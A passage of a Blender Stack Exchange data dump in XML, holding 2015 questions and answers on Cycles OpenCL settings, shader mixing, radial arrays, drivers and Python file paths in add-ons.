  <row Id="31950" PostTypeId="2" ParentId="31930" CreationDate="2015-06-04T20:04:45.590" Score="9" Body="&lt;p&gt;As it's still quite experimental and there are quite a few &lt;a href=&quot;http://blender.org/manual/render/cycles/features.html#features&quot; rel=&quot;noreferrer&quot;&gt;features still missing&lt;/a&gt;, it's only enabled for AMD gpus by default.  It's &lt;a href=&quot;https://developer.blender.org/rB7f4479da425b2d44a585f1b7b63f91d9dfecef02&quot; rel=&quot;noreferrer&quot;&gt;possible to &amp;quot;force&amp;quot; it to work&lt;/a&gt; on other opencl devices by setting the environment variable &lt;code&gt;CYCLES_OPENCL_SPLIT_KERNEL_TEST=1&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Linux&lt;/h1&gt;&#xA;&lt;p&gt;On Linux, run the following in a terminal:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CYCLES_OPENCL_SPLIT_KERNEL_TEST=1 blender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To make this permanent for all versions of blender which have the split kernel feature, put the following in your shell's initialization file (&lt;code&gt;~/.profile&lt;/code&gt; or similar)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CYCLES_OPENCL_SPLIT_KERNEL_TEST=1; export CYCLES OPENCL_SPLIT_KERNEL_TEST&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;See &lt;a href=&quot;https://unix.stackexchange.com/q/21598/86821&quot;&gt;this question&lt;/a&gt; for more detail.&lt;/p&gt;&#xA;&lt;h1&gt;Windows&lt;/h1&gt;&#xA;&lt;p&gt;On windows, create a &lt;a href=&quot;http://en.wikipedia.org/wiki/Batch_file&quot; rel=&quot;noreferrer&quot;&gt;batch file&lt;/a&gt; by putting the following in a text file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;set CYCLES_OPENCL_SPLIT_KERNEL_TEST=1&#xA;start blender&#xA;exit &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Rename the file so it has the &lt;code&gt;.bat&lt;/code&gt; extension and put it in the same directory as the blender executable (if you installed blender with the installer, in &lt;code&gt;C:\Program Files\Blender Foundation\Blender&lt;/code&gt;).&lt;br /&gt;&#xA;Then press &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot; /&gt; RMB&lt;/kbd&gt; on the &lt;code&gt;.bat&lt;/code&gt; file and create a shortcut which you can put on your desktop or taskbar for ease of running it later.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-06-04T20:04:45.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31952" PostTypeId="2" ParentId="31573" CreationDate="2015-06-04T20:41:29.440" Score="1" Body="&lt;p&gt;It's probably better to use the cone primitive as a base, as you can have &quot;more&quot; control on the radii, but you &lt;em&gt;can&lt;/em&gt; use a cylinder. Basically, you press &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;Mesh&lt;/em&gt; &gt; &lt;em&gt;Cylinder&lt;/em&gt; and then in &lt;em&gt;Edit Mode&lt;/em&gt; use &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;RMB&lt;/kbd&gt; (or &lt;kbd&gt;LMB&lt;/kbd&gt;, depending on which you use to select), while hovering over one of the edge loops on the base of the cylinder, to select it. Then you can use &lt;kbd&gt;S&lt;/kbd&gt; to scale the selected vertices, followed by &lt;kbd&gt;Enter&lt;/kbd&gt; to confirm. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to control the radii numerically, you can: right after adding the cylinder, in the &lt;em&gt;Toolbar&lt;/em&gt; (press &lt;kbd&gt;T&lt;/kbd&gt; to toggle it) set the radius appropriately; then, while scaling one of the bases, when the scale transform is still active (i.e. after pressing &lt;kbd&gt;S&lt;/kbd&gt;, but before confirming) you can enter numbers, in order to control the scaling - it multiplies what it was previously by what you entered. &lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3710" LastEditDate="2015-06-05T08:31:30.977" LastActivityDate="2015-06-05T08:31:30.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31954" PostTypeId="1" AcceptedAnswerId="31983" CreationDate="2015-06-04T21:55:43.807" Score="2" ViewCount="783" Body="&lt;p&gt;I have created an animation using Blender. Does anybody know how I can save .avi file of the rendered animation using a python script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My second question is that I want to run the animation with different parameters and save the video. Basically, I want to reset the animation and run it again with a new force and save a separate video file. I want to do these automatically instead of manually. Is it possible to do that with scripting?&lt;/p&gt;&#xA;" OwnerUserId="14810" LastActivityDate="2015-06-05T11:58:24.803" Title="save avi files in blender using python script" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31955" PostTypeId="2" ParentId="428" CreationDate="2015-06-04T22:22:50.237" Score="2" Body="&lt;p&gt;When outputting from blender you have a multitude of options with the FFMPEG libs.   It's even been hinted that you can output prores 422 on linux with a patch to the correct library.  However, blender is ill suited as an encoder in this respect, most specifically due to the &quot;grey area&quot; in legal issues pertaining to output formats like pro-res.  That said, my workflow with blender to prores has followed this pattern in the past:&#xA;blender output to images (tiff\tga)&#xA;Folder of images to sequence in FCP or another editor, applying the sound etc, then out to pro-res&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This workflow has proven faster at encoding the video, and has even produced higher quality with compressed formats like mp4 (with the same settings).  The reason is simple enough.  I farm the image rendering, so the time it takes to render the frames is cut down considerably (I have 5 old computers running blender farming in linux, varying distros, and varying power, but still core for core a better option).  This produces a full format video similar to a celluloid reel of frames.  Placing this into a sequence shows this as fully rendered, applying a sound track lines up perfect (especially when from the original video file).  When doing this with source video for multi cam edits, I usually have to allow FCP to create the proxy for use in playback, and in adobe, render a preview.  But when this is done from an edl, imported and farmed after the edits are marked, it takes longer to render the images, but shorter overall to then output a finished video from them, and with parallel encodings running, I can output several finished file formats for different types of delivery (everything from youtube and blu-ray to dvd).  You are better off using a dedicated apple computer for the encoding of pro-res.  Occaisionally, I've even just used compressor to put the two (audio and video) together, though not recently.&lt;/p&gt;&#xA;" OwnerUserId="14811" LastActivityDate="2015-06-04T22:22:50.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31956" PostTypeId="2" ParentId="31888" CreationDate="2015-06-04T23:35:12.410" Score="14" Body="&lt;p&gt;By mixing a glass or glossy shader with a transparent shader based on a fresnel node, rays will be allowed straight through the glass at smaller &lt;a href=&quot;http://en.wikipedia.org/wiki/Angle_of_incidence&quot; rel=&quot;noreferrer&quot;&gt;angles of incidence&lt;/a&gt;, and will reflect at grazing angles. Rays which go through and reach the environment background will give alpha transparency:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EvePG.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the Fresnel node is not necessary for mixing (setting the factor directly will get something like what you are looking for), but it does make the reflections of the material behave in a more physically based manner.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-06-04T23:35:12.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31957" PostTypeId="1" CreationDate="2015-06-05T00:22:41.957" Score="4" ViewCount="240" Body="&lt;p&gt;I want to use a grayscale image to smoothly blend two shaders together onto one mesh using a mix shader and an image node. How can I convert the data from the image node into data for the mix shader?&lt;/p&gt;&#xA;" OwnerUserId="8093" LastActivityDate="2015-06-05T01:58:50.643" Title="How can I convert the data from an image node into data for a mix node" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31958" PostTypeId="1" AcceptedAnswerId="34073" CreationDate="2015-06-05T00:27:16.617" Score="4" ViewCount="128" Body="&lt;p&gt;I have an idea of illustration that would explore the duplication around a sphere function. It should look something like this :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7iQHf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I meet some problems. First of all, the boxes that are in the upper position tend to rotate on themselves. I have tried with ICO sphere but this doesn't help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that this happens with the setting: Duplication of faces (with or without the scale option). Please see the jagged pink line :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lFX4S.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use the &quot;Verts duplication&quot;, I don't meet this problem of oddly rotated boxes. But &quot;verts duplication&quot; doesn't serve my project as good as the &quot;Faces duplication&quot; because it leaves a lot of space between the boxes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ui1Fd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I didn't find a good solution, I thought to &quot;Make duplicates real&quot; and then rotate and scale them by rows with the &quot;Manipulate center points: individual origins&quot; option. That's almost better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And is there an option to deform my initial mesh box (the drawers) to fit the exact geometry of every face of the sphere that duplicates the box ? (so that it would become more trapezoid in the top of the sphere)   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="14623" LastActivityDate="2015-07-16T07:58:41.440" Title="Duplication follows an UV sphere but rotates duplicates" Tags="&lt;dupli-groups&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31959" PostTypeId="2" ParentId="31957" CreationDate="2015-06-05T01:44:26.850" Score="3" Body="&lt;p&gt;Plug the output of the image node into the &lt;em&gt;Mix Factor&lt;/em&gt; of the mix node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ih0TH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-06-05T01:44:26.850" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31960" PostTypeId="2" ParentId="31957" CreationDate="2015-06-05T01:45:57.213" Score="2" Body="&lt;p&gt;You can use the &lt;em&gt;Hue/Saturation&lt;/em&gt; node (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt; Color &gt; Hue Saturation&lt;/em&gt;). If you set the saturation to zero then the information will be black and white.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pmbry.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use the &lt;em&gt;RGB to BW&lt;/em&gt; node to do this quicker &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt; Converter &gt; RGB to BW&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tw0Ex.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also switch the image to the non-color data type like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Iioh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This for use with bump or normal maps and similar image files that have data other than colors. It can also help when using a standard image in such a way.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-06-05T01:58:50.643" LastActivityDate="2015-06-05T01:58:50.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31961" PostTypeId="1" AcceptedAnswerId="31972" CreationDate="2015-06-05T04:08:54.863" Score="9" ViewCount="5124" Body="&lt;p&gt;I'm modeling a bathroom interior, and I was wondering if there were any nice ways to distribute the little water spouts in their pattern along the black plastic for this shower head.  Here is my reference image (sorry for the low quality) :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BB7kj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorUserId="47" LastEditDate="2015-06-05T06:59:37.270" LastActivityDate="2015-11-18T16:56:40.930" Title="How to distribute objects in a circular pattern on a surface (Radial Array, Polar Array)" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31962" PostTypeId="1" AcceptedAnswerId="31967" CreationDate="2015-06-05T04:11:31.600" Score="2" ViewCount="663" Body="&lt;p&gt;Let's say I have a armature bone with x position 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's also say I have three cubes, coloured red, blue, and green.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make it so that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When x is between 0 and 1, the only red cube is visible.&lt;/li&gt;&#xA;&lt;li&gt;When x is between 1 and 2, the only blue cube is visible.&lt;/li&gt;&#xA;&lt;li&gt;When x is between 2 and 3, the only green cube is visible.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;etc.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To explain how I'll apply it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've imported a model from a video game, and the lip-sync system involves 10+ separate objects which I'd toggle on and off by using a single slider.&lt;/p&gt;&#xA;" OwnerUserId="7806" LastActivityDate="2015-06-05T17:40:41.343" Title="Switching visible objects via driver" Tags="&lt;armature&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31964" PostTypeId="1" AcceptedAnswerId="31966" CreationDate="2015-06-05T05:16:13.857" Score="3" ViewCount="9764" Body="&lt;p&gt;I'm trying to import data stored as a JSON. It works fine in stand-alone python, but I am having problems in Blender python console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a folder &lt;code&gt;Applications/blender.app/Contents/Resources/2.74/scripts/addons/uhoh&lt;/code&gt; and in it I have &lt;code&gt;wowtest.py&lt;/code&gt;, a blank &lt;code&gt;__init__.py&lt;/code&gt;, and &lt;code&gt;test_data.txt&lt;/code&gt; which contains the JSON.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is &lt;code&gt;wowtest.py&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def wowtest(fname):&#xA;&#xA;    import json&#xA;&#xA;    print('hmmm.... will this work?')&#xA;&#xA;    with open(fname, 'r') as infile:&#xA;        xdic = json.load(infile)&#xA;&#xA;    return xdic&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is what happens in Blender's python console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt; import uhoh.wowtest as wow&#xA;&amp;gt;&amp;gt;&amp;gt; wow.wowtest('test_data.txt')&#xA;hmmm.... will this work?&#xA;&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;  File &quot;/Applications/blender.app/Contents/Resources/2.74/scripts/addons/uhoh/wowtest.py&quot;, line 9, in wowtest&#xA;    with open(fname, 'r') as infile:&#xA;FileNotFoundError: [Errno 2] No such file or directory: 'test_data.txt'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have put a second copy of &lt;code&gt;test_data' up one level (in&lt;/code&gt;/addons`) just in case, but this doesn't help. What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I will run this from a script next. If there are differences, please let me know.&lt;/p&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="47" LastEditDate="2015-06-05T05:53:12.160" LastActivityDate="2015-06-05T06:07:23.217" Title="Problem with paths in my script, relative to local python file" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="0" ClosedDate="2015-06-05T06:00:32.580" ContentLicense="CC BY-SA 3.0" />
  <row Id="31965" PostTypeId="2" ParentId="31961" CreationDate="2015-06-05T05:43:12.333" Score="11" Body="&lt;p&gt;Start off with a circle (I set mine to have 16 verts).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in edit mode, extrude and scale it a few times until you come up with something like this (this will act as an emmitter object for the nubs later on):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/5zQdX.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5zQdX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With some simple modeling techniques model the nub.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/o3RWk.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/o3RWk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, with your first circle object selected, create a hair particle system with advanced checked, the number of particles matching the amount of verts in the object (look at the header to see the amount), select verts, and uncheck random.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZpSUb.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZpSUb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, under render, select object, and choose the nub object. Then check rotation, change the type to normal, and uncheck rotation. This fixing the rotation is probably a bug, but we can take advantage of it to give the nubs the proper orientation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cNXbK.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cNXbK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, scale down your nub to adjust the size on the emmiter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4XaaN.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4XaaN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, in the modifiers settings of the emmitter object, convert the particle system, remove the emmitter object (this will make all the particles separate objects, but they will share the data with the nub we made earlier, just as if they where an &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; Copy.):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eBXPF.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eBXPF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, finally, select the nub, and in the vertex data section, press the number next to the name of the vertex data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vLAB6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then join the particle objects together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that it takes after that, is to move it into position with the the model of the actual shower head which can be done with some simple modeling.&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="8262" LastEditDate="2015-11-18T16:56:40.930" LastActivityDate="2015-11-18T16:56:40.930" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31966" PostTypeId="2" ParentId="31964" CreationDate="2015-06-05T05:59:02.203" Score="3" Body="&lt;p&gt;The current file's location is obtained using &lt;code&gt;__file__&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;current_file_path = __file__&#xA;current_file_dir = os.path.dirname(__file__)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to access a file in the same directory as this python file you do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;other_file_path = os.path.join(current_file_dir, &quot;other_file.ext&quot;)&#xA;with open(other_file_path) as f:&#xA;   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if there's a directory on the same path as the main python file you can get that by doing&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;other_file_path = os.path.join(current_file_dir, &quot;directory&quot;, &quot;other_file.ext&quot;)&#xA;with open(other_file_path) as f:&#xA;   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-05T06:07:23.217" LastActivityDate="2015-06-05T06:07:23.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31967" PostTypeId="2" ParentId="31962" CreationDate="2015-06-05T06:12:52.537" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;Below are three spheres with drivers indicated in the properties panel. Please notice the selected object named RenderMaster.  It is used in the drivers.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dW2KN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Below is a simple driver.  Please use copy driver, paste driver then modify for each object to which it is applied.  Not the most compact or elegant, and it will suffice for only 10 objects.  Please notice which sphere is selected so that the driver makes sense as you note the driver adjustments.  Please notice the numbers getting bigger in the Scripted Expression.  Modify and Improve to suit your tastes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/seiuf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5nOcJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y24Z4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;10 different Scripting Expressions.  These are intended for driver expressions in the image above one for each object.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Please test and verify&lt;/p&gt;&#xA;&#xA;&lt;p&gt;not((xloc &amp;lt;= 1) and (xloc &gt; 0))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;not((xloc &amp;lt;= 2) and (xloc &gt; 1))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;not((xloc &amp;lt;= 3) and (xloc &gt; 2))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;not((xloc &amp;lt;= 4) and (xloc &gt; 3))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;not((xloc &amp;lt;= 5) and (xloc &gt; 4))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;not((xloc &amp;lt;= 6) and (xloc &gt; 5))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;not((xloc &amp;lt;= 7) and (xloc &gt; 6))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;not((xloc &amp;lt;= 8) and (xloc &gt; 7))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;not((xloc &amp;lt;= 9) and (xloc &gt; 8))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;not((xloc &amp;lt;= 10) and (xloc &gt; 9))&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-06-05T17:40:41.343" LastActivityDate="2015-06-05T17:40:41.343" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31968" PostTypeId="1" CreationDate="2015-06-05T06:43:06.230" Score="2" ViewCount="617" Body="&lt;p&gt;I have a script that updates a text object, using a frame_change_post handler. The scene is imported as a strip in the VSE (for subtitling). It works fine but when I render the animation, it crashes after an inconstant amount of frames.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Append frame 57 Time: 00:00.37 (Saving: 00:00.11)&#xA;&#xA;Append frame 58 Time: 00:00.38 (Saving: 00:00.12)&#xA;&#xA;Append frame 59 Time: 00:00.40 (Saving: 00:00.12)&#xA;&#xA;Fatal Python error: GC object already tracked&#xA;&#xA;Current thread 0x00007f80aeccf800 (most recent call first):&#xA;File &quot;/usr/share/blender/2.74/scripts/modules/addon_utils.py&quot;, line 200 in &amp;lt;lambda&amp;gt;&#xA;File &quot;/usr/share/blender/2.74/scripts/modules/addon_utils.py&quot;, line 199 in modules&#xA;File &quot;/usr/share/blender/2.74/scripts/startup/bl_ui/__init__.py&quot;, line 111 in addon_filter_items&#xA;File &quot;/usr/share/blender/2.74/scripts/startup/bl_ui/space_userpref.py&quot;, line 1237 in draw&#xA;Aborted&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looks like I am doing something wrong... here's the &lt;a href=&quot;https://github.com/Nikos-Prinios/blender-sub/blob/master/blend-sub.py&quot; rel=&quot;nofollow&quot;&gt;code&lt;/a&gt; and, in case it's relevant, the script in &lt;a href=&quot;https://www.youtube.com/watch?v=rHjGF1g5gh8&quot; rel=&quot;nofollow&quot;&gt;action&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5482" LastActivityDate="2015-06-05T16:10:50.027" Title="Fatal Python error: GC object already tracked" Tags="&lt;python&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31970" PostTypeId="1" CreationDate="2015-06-05T06:59:29.580" Score="0" ViewCount="1446" Body="&lt;p&gt;I am trying have 400 flower petals to float and fall delicately to the ground. After getting unsatisfactory results with particles and so I am trying with soft bodies. I cannot find a way to copy all the settings from a master pestle to the other pestles. I also want to add a force field to each pestle which I also cannot not copy to the other pestles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the copy addon but it only copies  certain modifier settings and not force fields settings etc. I have no idea how to write a python script and to be honest, it strikes me that a simple thing like copying settings should be a basic tool. On the other hand, maybe my method is all wrong and i can do it another way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I look at the tools in the physics panel, they work very seperately and I presume that under hood they are very seperate. This is a real shame as it limits dramatically what can be done beyond quite simple effects. I wonder if anyone has looked into moving the physics panel to a nodal based system (only a neophyte like me can suggest such an idea). Also the outliner is really limited in managing elements. it would great to be able to delete modifiers from multiple objects in one go. For the moment I cannot find a way to do that either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts are most welcome.&lt;/p&gt;&#xA;" OwnerUserId="14815" LastEditorUserId="241" LastEditDate="2015-06-05T10:24:18.347" LastActivityDate="2015-10-26T05:45:35.867" Title="How can I copy soft-body settings to other objects?" Tags="&lt;modifiers&gt;&lt;physics&gt;&lt;soft-body&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31971" PostTypeId="1" CreationDate="2015-06-05T07:03:34.710" Score="1" ViewCount="20" Body="&lt;p&gt;I had a problem with my blender. In materials tab I dont have &quot;surface&quot; button, to make  something like Glass BSDF material and etc. Please help me, how I can figure out this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14816" LastEditorUserId="3710" LastEditDate="2015-06-05T08:34:59.067" LastActivityDate="2015-06-05T08:34:59.067" Title="How to fix: no surface button in the materials tab" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;shaders&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-06-05T08:49:21.063" ContentLicense="CC BY-SA 3.0" />
  <row Id="31972" PostTypeId="2" ParentId="31961" CreationDate="2015-06-05T07:35:18.963" Score="13" Body="&lt;h3&gt;Radial / Polar / Circle Array&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;First decide how many rings of holes you want, and the sizes of these various holes. The inner ring usually has a different hole count than the outer larger ring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the sake of demonstration let's say I pick 3 different sizes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hole count per ring | angle between each hole&#xA;--------------------+----------------&#xA;big hole: 20        | 360 / 20&#xA;smaller hole: 15    | 360 / 15&#xA;smallest hole: 10   | 360 / 10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A convenient way, which doesn't appear to be obvious for a lot of people, is to use the Array Modifier and a rotated Empty. The rotated empty will be used as the centre of the radial array. The rotation of the empty will control the angle of rotation of the arrayed objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a radial array of 15 objects (for educational purposes I will array around the world center &lt;code&gt;(0,0,0)&lt;/code&gt;, and the plane is 